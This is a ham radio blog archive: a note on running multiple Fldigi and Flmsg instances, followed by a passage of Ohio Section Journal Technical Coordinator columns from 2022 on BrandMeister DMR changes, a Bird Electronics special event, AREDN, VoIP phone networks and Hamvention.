All posts by Jeffrey Kopcak

Running multiple instances of Fldigi and Flmsg

There are situations where it would be easier for an operator to run multiple instances (copies) of Fldigi and Flmsg at one time.  These programs are often used for NBEMS handling over a repeater and the HF bands.

Why would anyone want to run multiple copies (or instances) of Fldigi programs? Some operators use HF and VHF/UHF differently including sound interfaces and rig controls. Instead of switching them around depending on which bands, have two instances configured differently for each radio. Other reasons could be using a single-all band-all mode radio but have different operating styles or personalities. Those could be Emcomm and contesting, or different macros and settings for each operating style. Monitoring multiple repeaters or HF frequencies during an Emcomm exercise. Or any combination of these examples. Creating separate instances will allow each to have separate settings, macros, and log books.

Fldigi and Flmsg with the default configurations are not setup to run multiple instances on a single computer.  While the programs can be started multiple times, all instances share the same configuration directory.  Setting different configuration directories allows one computer to run multiple instances all with different settings (rig control, audio devices, even Fldigi software versions).  All instances can transmit and receive independently of each other on any combination of radios, bands, frequencies that can be connected to a single PC.

I’m demonstrating using the popular combination of NBEMS programs: Fldigi and Flmsg. It appears possible to run multiple instances of the other Fldigi suite of applications, such as flrig, fllog, flamp. Configuration changes for each program and communication between the programs would be needed.  Additional programs are beyond the scope of this write up. Look at the program documentation for command line parameters, running multiple copies, I/O configuration page, and posts on groups.io support forums.

I will use the distinction of “HF” for an example instance connected to an HF radio, and “VHF” for an example instance connected to a VHF/UHF radio.  There can be any number of instances created for however many radios or bands or operating styles are desired.  The issue is manageability of settings, received files, and program updates.

This will work in Windows and Linux/Raspberry Pi.  Substitute C:\Users\<Username> (Windows) with  /home/<Username> (Linux) where <Username> is the logon for the user.

Program versions

Program versions used in this document.

Windows 7 – 64 bit

Fldigi 4.1.23

Flmsg 4.0.20

It appears Fldigi 4.0.18 and Flmsg 4.0.9 and greater support the command line options needed to run multiple instances.

Ohio Section Journal – The Technical Coordinator – August 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

When it comes to digital communications, especially in the Ohio Section, efforts have been focused on DMR. Repeaters are pricier than other digital modes. An abundance of end-user devices available from a variety of vendors, at fairly inexpensive prices, is a winner for users. DMR, being a commercial standard, was adopted to ham radio. Those that have not spent time to understand how a codeplug works and how to modify them ‘are just a bunch of appliance operators’ is a common argument. To link the majority of Ohio’s DMR repeaters, a network had to be chosen. Ohio standardized on Brandmeister.

What is BrandMeister? “BrandMaster/BrandMeister is an operating software for Master servers participating in a worldwide infrastructure network of amateur radio digital voice systems.” Stating that amateurs can and do use it for D-STAR and Wires-X, its main focus and selling points are related to DMR linking.

In the early days of DMR in ham radio, networks were setup identical to their commercial system counterparts. Repeaters had certain talk groups on specific time slots. Limited to 16 talk groups because that’s how many channels were available on the radio’s selector knob. Owners had little to no options for customizing talkgroup offerings. For example, if you were in eastern Ohio, a repeater might have Indiana statewide whether you wanted it or not. There were no such things as hotspots, at least as hams know and understand them. Like most new things, early adaptors did this for fun and no one really knew if DMR would take off and be accepted by the masses.

Three things helped DMR take off in ham radio: cheap radios, hotspots, and Brandmeister. Brandmeister turned commercially implemented DMR networks on their heads. Made it more like ham radio. A repeater owner could put any talkgroup on any time slot. Any user could make private calls to other users on any timeslot. Even make up a talkgroup number, hit transmit, and if another user was on that same talkgroup number, communication happened automatically. Later, simultaneous data messages and APRS were implemented. Being able to use ham developed gear, like the DV4mini and OpenSpot devices, was a huge draw. Hams familiar with commercial implementations of DMR were questioning ‘how could Brandmeister pull this off without causing chaos in the ham radio streets?’ Especially the ‘pick your own talkgroup number.’

With the explosion in popularity came use and abuse. Brandmeister had to start making decisions and decided to follow the strictest definitions of standards. You can still make up your own talkgroup but it is generally frowned upon. DV4Mini sticks were banned due to poor software – this was reversed after G4KLX wrote compatible software. There was a hissy fit Brandmeister threw about using DMR IDs starting with 1. Everybody and their mother, brother, and daughter requested talkgroups. No more 5-digit talkgroup numbers are assigned. Bridging to other digital modes, networks, and analog systems is verboten, explicitly forbidden on world-wide, regionals, and statewide talkgroups. Brandmeister considers 3, 4, and 5-digit talkgroup IDs under their control, as defined by the MCC numbering standard. 6-digit repeater IDs or 7-digit user IDs, the assigned owner can do whatever they want as Brandmeister sees themselves as “guests” for those IDs. There are more do’s and don’ts in the BM USA wiki.

For a good long time, development and, I would argue, interest by the development team was stagnant. There were long standing issues with many parts of the system, including the online audio web portal, Hoseline. For years it would not work correctly, had long audio delays or no audio at all, or the URL would simply be unavailable. Around June 2021, a new and much improved Hoseline appeared. Featuring a new and modern interface with the ability to monitor multiple talkgroups at a time.

Improvements in the name of security were made later the same year. Each Brandmeister hotspot user needed to generate a “hotspot password” for each DMR ID. This change impacted every Brandmeister user. I was contacted well into 2022 about users whom were unaware of this change.

Not-so-well-known changes affected some misconfigured hotspots and users of DVSwitch and MMDVM bridging. Master servers started checking parameters such as RXFrequency and TXFrequency in MMDVM. If the device was a hotspot, Brandmeister logic said if those two fields are not the same value, the device it must not be a hotspot because hotspots are simplex. If a hotspot (or DVSwitch/MMDVM Bridge) had RX Frequency not equal to TX Frequency, the device would be blocked from transmitting because it was deemed misconfigured. In order to work, they both had to be the same. Also, if either parameter was 0 – as in no RF output, such as an Internet link – also no work-y.

It’s their network and I really want to like them. Their decisions are making it hard for sysadmins to continue using Brandmeister. Communication regarding nearly all back-end changes have been poor to nonexistent. Changes affecting all users are publicized, even though a good percentage hit me up months later saying ‘all of a sudden my hotspot doesn’t work anymore.’ Sure, some changes might only “affect a small number of users,” post something in the groups.io. Instead admins are left to figure out, on their own, why the Brandmeister link is not functioning without being aware of changes on their end. Something about not peeving off your users, which they seem to be doing a lot lately. I get that they’ve had to make hard decisions and many policies are a result of the users whom abuse the system. Brandmeister probably received pressure from other network and talkgroup owners who want to quash analog cross linking. When the Brandmeister network was originally a ‘do-anything network,’ it’s not easy when they start pulling-back on those abilities.

August 19th, a major code upgrade was rolled out which implemented additional changes paving the way for better dashboard integrations, APIs, and hopefully more new features. If you setup your hotspots or applications with a Brandmeister API key prior to August 19, 2022, new keys are required. I was able to generate Brandmeister API v2 keys for Pi-Star: 4.1.6 / Dashboard: 20220819 and OpenSpot3 with firmware v62.

I was not able to save the API v2 key on an original OpenSpot (1) with the latest firmware available (0142). I was seeing the error message “Couldn’t save API key (Bad Request).” According to the support forums, they won’t be getting support for v2 either. New keys are supported on the 2, 3, and 4 OpenSpot models. If you had previously generated a v1 API key, it will continue to work for as long as Brandmeister allows.

I do not know if previous versions of Pi-STAR have been updated to support v2 API keys. To update a Pi-STAR to the latest revision, backup the existing configuration, download v4.1.4 on the Pi-Star site, flash to a new or the existing SD card. When configured, run update/upgrade and repeat, from the Configuration -> Expert option, until there are no more updates for both tasks. Pi-STAR cannot be upgraded version-to-version through the updater/upgrader.

Go to Configuration -> Expert -> under Full Edit, BM API. If you have an apikey entered these need to be updated, specifically apikeys that are 128-characters. It will look something like:

MWaztB3EcHWBEW@D$2gb89Y2kvvE4leSr.33Gey74d0IYVSKU58YGMSFmPHD.Q1fECUkIcj7E4leSr.33Getkjshdf987ywe2irligr908SFIdlsfkj08934sasdlveg

The 128-character API keys will continue to work for an undetermined amount of time. Follow the Brandmeister blog post to generate updated API keys. If you don’t have an apikey entered and don’t want one, you don’t need to do anything.

What alternatives are there to Brandmeister? Networks such as DMR+ and FreeDMR are popular in Europe/UK. HBLink reflectors are available but only offer a few select talkgroups. TGIF is a smaller DMR network implementation. They do not have many restrictions on device configuration. Though TGIF does have an “Ohio” talkgroup, it’s not the same everyone knows and loves on Brandmeister. As an admin, TGIF is much easier to work with. Running a linking system that has links to Brandmeister, TGIF, and HBLink, users don’t use alternative options, even though they complain about Brandmeister. Brandmeister is what they know and love. They won’t venture out to use other, more stable options, therefore remaining appliance operators.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – July 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

Seven operators activated Special Event Station W8B on July 16, 2022. Operating team consisted of: Technical Specialist Bob – K8MD – Bird employee and mastermind in planning the event, K8FH – Fred, K8TV – Ken, KC8NZJ – Mat, NF8O – Dave, KE8BKI – Stephanie, and K8JTK. This Special Event commemorated 80 years of Bird Electronic Corporation and 70 years of the Model 43 Wattmeter.

In 1940, J. Raymond Bird developed a way to quickly and accurately measure forward and reflected power in coax transmission lines. In April 1942, Bird Engineering Company was founded in Cleveland, Ohio. According to an old sign on their website, the original location was on E. 38th street. Later, the company renamed to Bird Electronics Corporation. After securing important contracts in the late 1950’s, they located to their current facility in Solon, Ohio. Bird was instrumental in the Mercury and Apollo space programs during the 1960’s, supplying radio-tracking equipment and loads for equipment testing. Today, Bird manufactures and packages test equipment, signal boosters, analyzers, and recording equipment.

70 years of the Bird 43 Wattmeter (Bird)

In 1953, the Bird 43 RF Wattmeter was introduced and quickly became the industry-standard tool for RF power measurement. A staple in many ham shacks, the Bird 43 is popular in commercial and broadcast industries as well. During the 1970’s, Bird provided critical and affordable test equipment to ham radio operators during emergencies which helped Bird become a household name. The 43 is popular because it can measure a wide range of frequencies, 450 kHz to 2.7 GHz between 100 mW to 10 kW, using plug-in elements. These elements are commonly referred to as “slugs.” The meter is an insertion-type, meaning placed in-line of the transmission line, measuring forward and reflected power.

Started out as a dreary, rainy morning. When I left my QTH, the sun was starting to make an appearance. Rain held off for us to operate 7 hours before another round was on its way. Three portable stations were operational. Two HF by K8MD and K8FH, and one VHF/UHF by K8TV. The HF antennas were portable turnstile dipoles with a fabricated or Spiderbeam center mast. These are quickly deployable and go up in about 20 minutes. The VHF/UHF was a commercial antenna on a fabricated mast that rose just above one of the unloading docks.

K8FH on CW and K8TV on VHF/UHF

Plan was to be on the air by 1000 local. Setup went quick and W8B was operational around 0900 testing the equipment with a few initial contacts. We operated from the outdoor employee patio of Bird. Operators were treated to a tour of the factory by K8MD. It was nothing short of impressive. In order to test manufactured products, there are high power broadcast transmitters for dummy load testing and plenty of test equipment that any ham would love to have in their shack. Most products, including the 43, are made, tested, and shipped from the Solon, Ohio location.

K8MD, Katie Wright, Dana Svilar, Terry Grant, and NF8O

After the tour, we met executives Katie Wright – Director of Strategic Development, Dana Svilar – Manager of Marketing Communications, and CEO Terry Grant. They were interested to see the setup and how the event was progressing. We explained and demonstrated the digital station. Sideband contacts were made and they heard from hams that own a Bird 43.

The bands weren’t the best to start out. On 40m, we’re logging contacts. Then, like a light-switch, there was nothing, including on FT8. Katie was trying to coordinate a contact with N1KSC, Kennedy Space Center Amateur Radio Club, with some close friends of hers. For a good while, they were hearing us 59 but we did not copy them at all. Right about noon, K8MD finally established contact. There was still plenty of QSB but he got them in the log. Katie even got on the radio to say a few words during the exchange!

K8TV operated the VHF/UHF station. He was making contacts on repeaters in Lorain (close to 40 miles at our 1100 ft elevation) and surrounding counties, including making simplex contacts. K8FH operated the CW station. NF8O made quite a number of sideband contacts in the afternoon despite the up-and-down band conditions. K8MD, KC8NZJ, and myself operated FT8 throughout the day.

Bird graciously bought us lunch from a local pizzeria and we received swag for coming out and playing radio. We operated until 1600, a little past that on the digital station, and started to strike the equipment. We were on the road home around 1700.

164 contacts were made: CW: 5, SSB: 37, FM: 26, FT8: 96. Thanks to K8MD who planned the event. Bird Electronic Corporation for allowing us to operate from their facility and their hospitality. If you made contact with W8B, you will receive a QSL card, designed by Dana, as a thank you.

Striking the last antenna for W8B: KC8NZJ, K8TV, KE8BKI, K8FH, and NF8O

One of the many things on my ham radio “do-more-with” list is AREDN mesh. I have a MikroTik RouterBOARD hAP ac lite node I setup some time ago. I haven’t done much with it due to not having any real way to get a high-profile node and no other nodes are around me. It’s been running in the shack with a tunnel to W8ERW & Sandusky ARES. I haven’t advanced much on “now what?” after the initial exercise of flashing a node with AREDN’s firmware.

If you have an AREDN node and haven’t updated in the last few months, start planning an upgrade. AREDN implemented many projects which have made considerable improvements to the firmware. The original Broadband-Hamnet was written in Perl and AREDN continued to build on and maintain Perl code. A conversion from Perl to the Lua programming language has been completed. This conversion recovered a lot of memory by removing large Perl libraries. Nodes will now run code optimized for embedded devices. Memory saved by the conversion means the tunnel package and iperf3 (speed testing) are now bundled with the base firmware. Previously, both had to be installed manually after each upgrade.

Upgrades and selecting the correct firmware should be much easier too. Nightly builds are available for testing new features or tweaks in the firmware. Though, “nightlies” as they are called, are pre-alpha releases. According to the project, theirs are pretty stable. This doesn’t mean they should be installed on production nodes in hard-to-reach places in case something goes sideways.

Link Quality Management has been added to help optimize networks and drop links that cause network problems. Nodes with poor SNR, too far away, or prone to many retransmissions can be dropped automatically. These cause poor performance for nodes without those issues. An example: a high-profile node has to account for all connected nodes. If a node 40 miles away from its location its connected, it must wait for acknowledgments from all connected nodes. Should that node 40 miles away not be able to receive messages or messages can’t be delivered back to the high-profile node, this degrades speed and performance significantly. The high-profile node must wait for responses and possibly keep retransmitting the same message to that node until a response is received. LQM will drop nodes that do not meet quality criteria. This feature is turned off by default, unless it was configured previously.

These updates, network design basics, and demo of the next generation user interface are covered in a recent LAXNORTHEAST meeting. That meeting is available on YouTube featuring AREDN representative Orv – W6BI. He deployed the mesh backbone in Ventura and western Los Angeles Counties. His presentation isn’t introductory but is beneficial for those who have setup and maintain a node.

A radio that covers ALL ham radio voice digital modes? Reality or vaporware? Projects, like the DV4 Mobile, have been vaporware. Taking a swing at the market this time is the Connect Systems CS800D PLUS. It claims: to store 520,000 contacts and 64,000 channels, have the ability to do DMR, FUSION, DSTAR, P25 and NXDN, make its own code plug on the fly, and many more features yet to come. Consider me intrigued. OK, it doesn’t do most of this out-of-the-box. Essentially the CS800D PLUS is the CS800D today, a DMR and analog dual-band mobile radio. Features will be added ‘without the manufacture’s cooperation’ and ‘firmware will be done by the Amateur community.’ Not really sure how that is going to work since the existing firmware isn’t open sourced, documented, or have documented hooks/APIs. Additionally, the “all digital modes” comes via a “co-processor or your laptop to allow you to add digital modes not currently in the radio.”

I have the CS800D but purchased one of these anyway to see if this actually comes to fruition, especially the ‘all the digital modes’ part. If not, it or my 800D will appear on the used market! I envision this radio will utilize a NW Digital Radio DV3000 or DVMEGA DVstick on a Raspberry Pi or computer using a serial connection between the radio and computing device. This would provide off-radio encoding/decoding of digital modulation and analog frames. No working proof of concepts or documented working setups have been posted as of this writing. Posted documents mostly show how to convert codeplugs between the CS800D and CS800D PLUS. Firmware for the CS800D PLUS is not backwards comparable with a CS800D, according to Connect Systems. The CPS will work with both radios but the firmware is not compatible due to CPU and memory differences.

openSPOT 4 (openSpot)

Flying under my radar was the release of the SharkRF openSPOT 4. After reading up, it’s another incremental release. What’s new in the 4? Improved battery life (up to 30 hours), multi-core CPU, new WiFi module, and split into two offerings: openSPOT 4 and openSPOT 4 Pro. That’s it, near as I can tell. It’s probably due to chip shortages, but the openSPOT 4 is available now where as the openSPOT 4 Pro is due to ship again August 20th.

What’s the difference between the 4 and 4 Pro? Hardware cross mode capability and price. The openSPOT 4 rings in a € 249.00 ($254.14 USD) and the 4 PRO at € 319.00 ($325.59 USD, both conversions as of this writing). First introduced in the openSPOT 3, SharkRF hotspots are the only ones with the ability to cross mode D-STAR with DMR, C4FM, and NXDN networks. The 4 does not have the capability to cross mode D-STAR with other networks, the 4 Pro does have this capability. As with other openSPOT releases, the release of the OS4 end-of-life’s the previous model. The openSPOT 3 will probably get some firmware updates here-and-there but don’t expect many more based on past experience. I liked the openSPOT 3 for what it was. The 4’s are another pass for me because this release that doesn’t offer much more features than my openSPOT 3.

Nearly as soon as the OSJ went to publish last month, the wording about DroidStar no longer being available for iOS was removed. It appears the issues of concern were resolved. DroidStar is back in TestFlight and I heard from iOS users that it was working for them again.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – June 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

As Technical Coordinator for the Ohio Section, I oversee the section’s group of Technical Specialists. The Specialists and I are here to promote technical advances and the experimentation side of the hobby. We encourage amateurs in the section to share their technical achievements with others in QST, at club meetings, in club newsletters, at hamfests, and conventions. We’re available to assist program committees in finding or providing suitable programs for local club meetings, ARRL hamfests, and conventions within the section. When called upon, serve as advisors for RFI issues and work with ARRL officials and other appointees for technical advice.

Technical Specialists are a cadre of qualified and competent individuals here for the “advancement of the radio art,” a profound obligation incurred under the rules of the FCC. TS’s support myself and the section in two main areas of responsibility: Radio Frequency Interference (RFI) and Technical Information. They can specialize in one or more areas or be generalists with knowledge in many technical areas. Responsibilities range from serving as consultants or advisors to local hams or speaking at local club meetings on popular topics. In the Ohio Section, there are 14 qualified specialists able and willing to assist.

RFI/EMI (electromagnetic interference) includes harmful interference that seriously degrades, obstructs, or repeatedly interrupts a radio communication service such as ham radio or public service agencies. RFI sources range from bad power insulators, industrial control systems, other transmitters or poorly made transmitters, personal devices like computers, monitors, printers, game consoles, to grow lights, failing transformers, and poorly made transformers – including one’s hams brag about getting from China for a few dollars. Our Technical Specialists can offer advice to help track down interference or locating bozo stations. Technical information is wide-ranging, everything from antennas to Zumspots.

How can we help? The knowledge and abilities of YOUR Technical Specialists are really quite impressive. Here are examples:

  • Antennas (fixed, portable, and emergency operation type) and feedlines
  • Antenna systems such as towers, guying, coax, and baluns
  • RF and tower safety
  • Grounding
  • Propagation
  • Electronics and circuits
  • Tube technology, aka boat anchors
  • Voice and data modes – including D-STAR, DMR, Fusion, NXDN, P25, APRS, IGates, packet, MT63, FT8/4, Olivia, PSK, and using programs like Fldigi
  • NBEMS – Narrow Band Emergency Messaging System
  • Computers, Windows and Linux, Raspberry Pi
  • Embedded devices
  • Networking: IP networks, AMPRNet, routers, firewalls, security, mesh, and microwave
  • Repeaters, controllers, and high-profile systems
  • Internet and VoIP linking systems – Echolink, AllStar, HamVoIP, DVSwitch, and PBX/Asterisk
  • RFI detection from power lines and consumer devices including working with governmental agencies to track down interference
  • Professional certifications such as Motorola Certified Technicians, Certified Journeyman Electronics Technician, General Radiotelephone Operator License (GROL), and Society of Broadcast Engineers (SBE) affiliations

This impressive list of qualifications is an available resource to all in the Ohio Section. Looking for guidance in one or more of these areas? Need a program for your club meeting? How about a technical talk or forum at a hamfest? Assistance or direction on a project? My contact info is near my picture and on the arrl-ohio.org website. I’ll assist getting you in touch with an appropriate Technical Specialist.

Cisco SPA-514G desk phone for Hamshack Hotline and Hams Over IP

Many in our section have a Hamshack Hotline extension. Hamshack Hotline is a Voice over IP system using the same technology, called a PBX (Private Branch Exchange), many businesses utilize for their phone systems. Recently, another similar service appeared called Hams Over IP (HoIP, IP as in IP address). It’s not as catchy or easy to rattle off as HamShack Hotline. Best I’m able to tell, the service started around the time of Dayton. Unfortunately, like many clubs that have formed and split over the years, political issues at HH mounted and led to the formation of another service. Hams Over IP formed out of some former Hamshack Hotline admins and engineers. It’s obvious from their site, this was rushed as they really only have a ticketing system and Discord linked on their site as of this writing. A Wiki can be found by searching the interwebs. BLF monitor and BLF bridge monitors are available too.

If you want to read the dirt and s-slinging, those can be found on their respective social media pages and sites. A post (group membership required) in the non-affiliated Hamshack Hotline groups.io stated “A few months ago Hamshack Hotline dismissed a number of directors of their corporation and several moderators of their facebook and discord server for reasons that remain unknown. When that happened I heard from the impacted parties as well as other supporters to create our own network, and thus Hams Over IP was born.” HoIP will continue to co-exist with HH though, they are two completely different and separate networks. Existing HH extensions and trunks will continue to work as they have in the past. Here comes the “but.” Those on the HHUX (experimental) server will be repurposed with a HoIP extension. One user posed they received an email from HH about the server change. Reading between the lines, the owner of the HHUX server was one of those dismissed. Their server was removed from the HH network, taken with them in the turmoil, and brought over to HoIP.

Regardless of the political landscape, I have a Hams Over IP phone extension: 100095. HoIP doesn’t (at least at this time) have a way to put a URL in the browser to configure a desk phone, such as a Cisco SPA, like HH does. It took a little effort to get my Cisco phone configured as there appears to be IP banning mechanisms on the server for failed registrations and those using VPNs.

Like HH, HoIP has “RF Link” extensions. These are reverse autopatch extensions connecting into an Asterisk server, most often an AllStar node connected to a repeater or Internet hub. The Hams Over IP extension into the Interlink System I maintain is: 15010. Same controls are used for RF links, *99 to TX and # to unkey/RX. A system like mine is a way to bridge not only HamShack Hotline and Hams Over IP but other networks: AllStar Link, Echolink, DMR (HBLink, BrandMeister, and TGIF), D-STAR, M-17, NXDN, P25, System Fusion, and Wires-X.

Both HamShack Hotline and Hams Over IP are now using PJSIP where one extension can ring multiple devices (up to 5, I’ve heard). Back when HH started, it was a requirement for an approved Cisco phone to be brought onto the network before one could receive credentials for the “unapproved devices” or experimental server used for soft phone apps like Groundwire or other VoIP hardware devices. Each device would have a different extension. Calling one extension would only ring that device, not any others. Both my HamShack Hotline (4293) and Hams Over IP extensions will now ring my Cisco SPA-514 in the shack and Groundwire on my smartphone. I’m unsure about consolidating extensions, might want to open a ticket with HH to find out if that’s possible.

DroidStar on P25

DroidStar for iOS is fini – done, no more. Development will continue on the Android and Windows versions. DroidStar is a smartphone app allowing hams to connect to ham radio digital and VoIP networks using only an app. Late last year, changes to the app removed the built-in vocoder (voice encoder). iOS, or iPhone Operating System, is a tightly controlled ecosystem of Apple mobile devices (phones, tablets, smartwatches, TV, etc.). Anyone doing development or app validation knows you cannot load an app on an Apple device out-of-nowhere. It must be loaded through the Apple App Store. A testing and feedback program called Test Flight is available to developers who pay for an Apple Developer account, $99 currently.

Most iOS users never use Test Flight as it is a beta program. The program allows users to test apps and provide feedback to the developer before an app is qualified and published in the App Store. Apple doesn’t want developers to forever use Test Flight circumventing the scrutiny and validation of the App Store. Test Flight apps have a limited lifetime of 90 days. The app can be made available again, though users have to rejoin the new beta version in order to have access to the app for another 90 days. This is the mechanism DroidStar was using making a version of the app available to iPhone users – and not through the App store.

Development of the app has come to an end, at least for now. Posted on the project’s Github page by the developer, the older MacBook Pro used for development is no longer eligible for the latest macOS version. Apple requires an iOS Software Development Kit (SDK) version only supposed by later versions of macOS. There are no planned upgrades to support this development effort. There is a chance someone else could maintain an iOS version as the project can be forked for continued development.

With July around the corner, my favorite event, 13 Colonies Special Event will be on the air July 1st (9 am) – July 7th (midnight). TM13COL will be making a return again this year as the third bonus stations in addition to WM3PEN and GB13COL. A station does not need to work all 13 colonies to receive a certificate. The three bonus stations do not need to be contacted for a clean sweep. Good luck!

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – May 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

70 years of Hamvention. Themed the “Reunion” after 70 years have passed since the first Hamvention on March 22, 1952. This year also marked the return after a two-year hiatus. Thousands of hams, family, friends, and enthusiasts descended on the Greene County Fairgrounds and Expo Center in Xenia, Ohio for the convention, May 20 – 22nd. The ARRL Letter states this event brings $30 million to the economy of Dayton and surrounding region.

According to the DX Engineering recap, the count is 31,367 attendees this year. Down 1,075 from 2019, which for the crap we’ve had to put up with the last two years, still quite the showing of attendees. I was hopeful the crowds would be huge and worthwhile for vendors and flea market. My dad – N8ETP and myself attended Friday and Saturday. The Friday crowd seemed like a Saturday crowd, especially at lunch time around the food trucks! We hit the indoor exhibitors. Saturday seemed a little on the lighter side. Could have been the storms and rain Friday night into Saturday morning that kept some away. Hamvention wouldn’t be complete without spring storms! We hit the flea market Saturday and might have missed the larger indoor crowds. If you did the indoor exhibitors just right and found shaded seating areas to rest, I was able to skate by without sunscreen Friday.

Hamvention Friday lunch crowd

The ARRL had their large exhibit area as per usual. There I got to talk a moment with our previous Section Manager, now Vice Director of the Great Lakes Division, Scott Yonally – N8SY. While talking with Scott, a ham stopped by and said he really enjoyed my articles right here in the OSJ. Always appreciate that. I asked if he wanted to see anything and he commented about SDR. It has been awhile since I talked about Software Defined Radio or used them for any projects. Stay tuned. Had a good chat with the Ohio Section Public Information Coordinator and Editor of the ARRL Letter, John – KD8IDJ.

I popped in and talked to Tony Milluzzi, KD8RTT, Advisor for the ARRL Collegiate Amateur Radio Program. I became licensed when I was in high school. One of the things I looked for in a college was a university that had a ham club or, at least, one associated with the university. Still wanting to be radio-active, I wasn’t going to have mobile or base station radios on campus. Only being a Technician back in those days, no HF either. An HT was going to be it so having a repeater close-by was my way of communicating. I found the Wood County Amateur Radio Club, which has support from the university with rooftop space and Internet resources from BGSU Information Technology Services. The club now has three repeaters, including a Fusion digital, as well as an APRS IGate on campus. Additionally, while at school, I was involved in efforts to keep college radio clubs active and on the air. Participated in the College Amateur Radio Club and collegiate Echolink nets (both defunct). I’m a big proponent of getting college students, such as engineering students, exposed to and active in amateur radio.

I asked Tony, ‘what is something the rest of the ham radio community can do to make sure collegiate clubs thrive and survive?’ I wasn’t quite as clever with rhyming at the time. He suggested a couple things that might help college clubs such as donating equipment. They may not receive much, if any, funding from the school for radio gear. The bigger benefit, he felt, would be to simply get involved. A few hams can help Elmer and teach students how to setup a station, maintain equipment, or simply teaching new operating modes such as digital. This would help faculty advisors keep the club going as advisors are often a single staff member and they may need time for other responsibilities and career goals. The link to the ARRL Collegiate Amateur Radio Program has resources to find college radio clubs, ways to participate in events, and example constitution and bylaws to get a club started.

ICOM SHF module and control head

ICOM booth was on my to-do list to checkout their SHF module prototype I mentioned last month. It was there, not a lot is known which was disappointing. The non-functioning prototype was “under glass” (couldn’t touch or play) shown mounted to a pole, presuming it can be mounted outside close to the antennas to minimize line losses. There was an Ethernet cable from the SHF module plugged into a device that looked like an IC-705. The ICOM representative pointed out that it’s not labeled as a 705 nor could a 705 reach the frequency displayed on the unit (5.780 GHz). The Ethernet cable carries PoE (power over Ethernet), presumably from the control head to the SHF module since the control head was powered. When asked what applications might this be used for or anticipated use cases, the representative didn’t have any. I didn’t know if they’re producing the hardware and leaving it to the ham community to figure out uses. They didn’t have answers so purpose still remains unclear. D-STAR was mentioned, so maybe they’re looking to do RF links that’s not the 10 GHz links they were originally hoping for in the early days of D-STAR repeaters. With a control head that can operate different modes, has filters, speaker, and a waterfall, to me it looks like they’re thinking some kind of operating in or around the Wi-Fi bands – maybe not necessarily for ham radio only.

Early the next day, I got to have an eyeball QSO with AmateurLogic.TV‘s own George – W5JDX. It was the first time we’ve met after helping out with their weekly Sound Check net. We talked about forums that were on-tap and treasures found the first day. We got a picture together so there’s evidence we were there and in the same place. I later got to meet the “Cheap Old Man,” Emile – KE5QKR. Amateur Logic has a weekly net on my DVMIS interlink system that bridges 12 ham radio voice networks.

